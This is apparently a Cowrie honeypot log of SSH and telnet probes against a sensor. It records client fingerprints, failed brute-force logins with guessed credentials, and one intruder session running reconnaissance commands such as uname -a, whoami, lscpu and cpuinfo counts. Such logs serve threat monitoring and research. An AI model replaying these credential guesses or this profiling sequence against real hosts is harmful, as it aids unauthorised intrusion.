{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:16.826141Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:17.075118Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:17.609278Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:17.613303Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:17.859023Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:18.381741Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:18.385644Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:18.633491Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.203841Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.207716Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.589080572128296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.420337Z","src_ip":"162.248.7.67","session":"bf5902ad1ba7","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.455024Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.977588Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:19.981332Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:20.222367Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":51228,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd35ad22d34","protocol":"telnet","message":"New connection: 162.248.7.67:51228 (159.203.135.109:23) [session: bbd35ad22d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:20.323169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52152,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d20347a961c","protocol":"telnet","message":"New connection: 162.248.7.67:52152 (159.203.135.109:23) [session: 9d20347a961c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:20.556951Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:20.755185Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:20.758871Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:21.005618Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":52000,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e635fbeedfa","protocol":"telnet","message":"New connection: 162.248.7.67:52000 (159.203.135.109:23) [session: 9e635fbeedfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:21.341868Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:21.535612Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:21.539554Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:21.787613Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:22.330362Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:22.334217Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:22.594739Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41012,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2d4a57a0c8","protocol":"telnet","message":"New connection: 137.184.155.248:41012 (10.17.0.5:23) [session: 7f2d4a57a0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:22.600034Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:23.117934Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:23.121578Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:23.370493Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:23.376689Z","src_ip":"114.141.59.195","session":"7ca772db470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":54256,"dst_ip":"159.203.135.109","dst_port":23,"session":"d691c64f03ef","protocol":"telnet","message":"New connection: 162.248.7.67:54256 (159.203.135.109:23) [session: d691c64f03ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:24.676204Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd76c6c1d7e","protocol":"telnet","message":"New connection: 162.248.7.67:55602 (159.203.135.109:23) [session: 6bd76c6c1d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:25.492212Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":55168,"dst_ip":"159.203.135.109","dst_port":23,"session":"593b8ffdc2e4","protocol":"telnet","message":"New connection: 162.248.7.67:55168 (159.203.135.109:23) [session: 593b8ffdc2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:25.968619Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":56498,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44026d0363a","protocol":"telnet","message":"New connection: 162.248.7.67:56498 (159.203.135.109:23) [session: a44026d0363a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:26.811666Z"}
{"eventid":"cowrie.session.closed","duration":4.888877630233765,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:27.488776Z","src_ip":"137.184.155.248","session":"7f2d4a57a0c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.359230518341064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:28.355218Z","src_ip":"162.248.7.67","session":"0a5a17477a2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495762586593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:28.686274Z","src_ip":"162.248.7.67","session":"e3b7c6ef77d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267903327941895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:29.218847Z","src_ip":"162.248.7.67","session":"a299d92ee286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"7546917aadc9","protocol":"telnet","message":"New connection: 137.184.155.248:41024 (10.17.0.5:23) [session: 7546917aadc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:30.182432Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":34510,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9bbacfa66dc","protocol":"ssh","message":"New connection: 102.211.152.138:34510 (159.203.135.109:22) [session: f9bbacfa66dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:30.575200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:30.581197Z","src_ip":"102.211.152.138","session":"f9bbacfa66dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:30.689733Z","src_ip":"102.211.152.138","session":"f9bbacfa66dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"qweasdzxc","message":"login attempt [testtest/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:31.155609Z","src_ip":"102.211.152.138","session":"f9bbacfa66dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:32.265665Z","src_ip":"102.211.152.138","session":"f9bbacfa66dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.979612588882446,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:35.161942Z","src_ip":"137.184.155.248","session":"7546917aadc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"033c1b922120","protocol":"telnet","message":"New connection: 162.248.7.67:35824 (159.203.135.109:23) [session: 033c1b922120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:37.482868Z"}
{"eventid":"cowrie.session.closed","duration":30.830928325653076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:38.698461Z","src_ip":"162.248.7.67","session":"2b67a9c7a2d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.603468656539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:39.792062Z","src_ip":"162.248.7.67","session":"dcf98cfc49c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":37588,"dst_ip":"159.203.135.109","dst_port":23,"session":"a760f0cc7624","protocol":"telnet","message":"New connection: 162.248.7.67:37588 (159.203.135.109:23) [session: a760f0cc7624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:41.097257Z"}
{"eventid":"cowrie.session.closed","duration":30.959625959396362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:41.414174Z","src_ip":"162.248.7.67","session":"1ef0d03726d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":38234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86173bb3808","protocol":"telnet","message":"New connection: 162.248.7.67:38234 (159.203.135.109:23) [session: a86173bb3808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:41.816089Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41894,"dst_ip":"159.203.135.109","dst_port":23,"session":"3206842875c0","protocol":"telnet","message":"New connection: 162.248.7.67:41894 (159.203.135.109:23) [session: 3206842875c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:45.065845Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":41938,"dst_ip":"159.203.135.109","dst_port":23,"session":"87992d58de82","protocol":"telnet","message":"New connection: 162.248.7.67:41938 (159.203.135.109:23) [session: 87992d58de82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:45.145293Z"}
{"eventid":"cowrie.session.closed","duration":31.366557836532593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:46.342037Z","src_ip":"162.248.7.67","session":"9d5ba3c78fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":41466,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeb1d6809f0b","protocol":"ssh","message":"New connection: 43.157.98.118:41466 (159.203.135.109:22) [session: aeb1d6809f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:47.222778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:47.227376Z","src_ip":"43.157.98.118","session":"aeb1d6809f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:47.314328Z","src_ip":"43.157.98.118","session":"aeb1d6809f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d6ae2d2e98","protocol":"telnet","message":"New connection: 162.248.7.67:43150 (159.203.135.109:23) [session: f5d6ae2d2e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:47.843091Z"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"123456","message":"login attempt [usertest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:47.991526Z","src_ip":"43.157.98.118","session":"aeb1d6809f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:49.082423Z","src_ip":"43.157.98.118","session":"aeb1d6809f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":46264,"dst_ip":"159.203.135.109","dst_port":23,"session":"fadaca815d30","protocol":"telnet","message":"New connection: 162.248.7.67:46264 (159.203.135.109:23) [session: fadaca815d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:50.756548Z"}
{"eventid":"cowrie.session.closed","duration":31.325865268707275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:51.648903Z","src_ip":"162.248.7.67","session":"bbd35ad22d34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.710636854171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:52.267421Z","src_ip":"162.248.7.67","session":"9d20347a961c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45757031440735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:52.799285Z","src_ip":"162.248.7.67","session":"9e635fbeedfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.248.7.67","src_port":48094,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee4bf686632","protocol":"telnet","message":"New connection: 162.248.7.67:48094 (159.203.135.109:23) [session: 0ee4bf686632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:05:53.286236Z"}
